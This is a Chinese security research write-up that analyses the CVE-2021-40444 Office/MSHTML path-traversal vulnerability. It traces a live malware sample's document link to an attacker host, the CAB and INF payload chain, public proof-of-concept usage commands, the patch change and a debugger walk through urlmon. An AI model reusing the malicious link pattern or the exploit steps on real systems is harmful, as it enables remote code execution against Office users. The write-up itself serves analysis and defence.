CVE-2021-40444 漏洞深入分析

作者：sunglin@知道创宇404实验室

前言:
随着cve-2021-40444的披露，随机引爆了全球的网络安全，虽然最近微软发布了补丁，但是cve-2021-40444的利用却越发猖狂，本人深入分析了这个漏洞。

0x00 0day样本分析

拿到样本的第一时间，便在自己的沙箱环境下面运行了下，并且从网上下载的docx，微软默认会开启保护模式，我这里是本地打开的，基本内容如下，全都是文字内容，基本上没发现什么:

但是在rels的document.xml文件中发现了链接Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"

可以发现其是指向文件的更新链接

从样本库众获取到mountain.html后，我们打开一看，发现全部都混淆了，基本难辨真假，去混淆也比较简单

因为是js代码，随便找个网上去混淆的试试，比如http://jsnice.org/，将混淆的代码粘贴上去后，一键试下

基本代码的轮廓就有了，它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec进行拼接与置换

这就很简单了，我通过普通脚本再一次去混淆：

经过简单的静态分析与调试，基本上就是它会去请求服务器获取一个cab文件，并且会通过cpl指令去执行一个inf

然后通过样本库获取到这个cab，初步分析这个cab，发现了其解压路径是../championship.inf，并且标志cafile的大小是0x415c00，cab文件格式[1]对应如下

最后将恶意的url改成我们自己搭建的http server，之后成功复现样本攻击环境，并且捕捉到了样本通过rundll32执行了命令

0x01 cve-2021-40444漏洞的分析与利用

cve-2021-40444的poc很快公开在了github[2]上，poc的使用很简单,通过sudo python3 exploit.py host 80开启简单的http server服务器，python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx：

假如我们现在有一个正常的docx，可以通过以下添加稍加修改，就成了可以包含cve-2021-40444漏洞的docx了

0x02 cve-2021-40444的补丁对比

通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为，其调用堆栈如下：

9月14号，微软发布了cve-2021-40444的补丁，经过补丁分析发现，urlmon.dll模块的catDirAndFile对路径验证做了修改,将'/'替换成了'\\',防止路径遍历：

0x03漏洞调试

调试之前，我们首先了解下微软对cab文件的api处理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/：

这些api包括了对cab文件的解析和读写操作等，urlmon模块通过调用cabinet模块中的这些api来处理cab文件的

首先docx触发get请求后会通过mshtml模块来处理，并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个api开始处理cab文件：

获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是cab：

然后通过CreateUniqueCabTempDir创建临时文件夹，比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A，进入api ExtractInfFile后，将会继续调用Extract，在Extract将会第一次调用到FDICreate[3]和FDICopy[4],来获取cab的信息

FDICreate主要是对其他读写api等进行初始化操作：

而FDICopy主要就是提取cab文件的信息了

进入CABINET!FDICopy后将会调用LoginCabinet来提取cab的0x24大小的head信息，比如包括对头部MSCF标志的判断：

之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE，再一次进入urlmon!fdiNotifyExtract后获取CFFILE file的信息，而对应的标志是0x02：

获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile：

而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体lpsz，将会确保在调用urlmon!NeedFile成功返回：

之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract，继续调用urlmon!catDirAndFile继续路径字符串格式化，而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用Win32Open：

而在Win32Open中将会调用CreateFileA，以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件msword.inf，因为路径存在目录遍历问题，所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件：

成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile，在CABINET!FDIGetFile中将会以第一个CFDATA data大小数据写入到文件中，之后caFile(实际为解压文件大小)将会减去写入的CFDATA data大小，接着进行比较直到将所有的caFile大小写入，而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小，所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出：

虽然退出了，但不影响实际写入文件的数据，并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用DeleteFileA,因为v2[2]的标志未清0，所以不会删除临时文件，从而我们创建的msword.inf得以保存，并且在后续中可以直接以cpl命令运行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入，调用urlmon!MarkExtracted，将标志清0：

至此，从获取到cab文件到提取解析，并且触发目录遍历漏洞过程分析完毕。

而网上有大佬有公布以最简洁的方式触发了[5]这个漏洞，并且可以在ie中复现成功。

0x04 漏洞防范

对网上来路不明的docx,请不要随意点击,更新最新的微软补丁

0x05参考链接：

[1]http://hmelnov.icc.ru/geos/scripts/WWWBinV.dll/ShowR?cab.rfh

[2]https://github.com/lockedbyte/CVE-2021-40444

[3]https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicreate

[4]https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicopy

[5]https://twitter.com/j00sean/status/1437390861499838466

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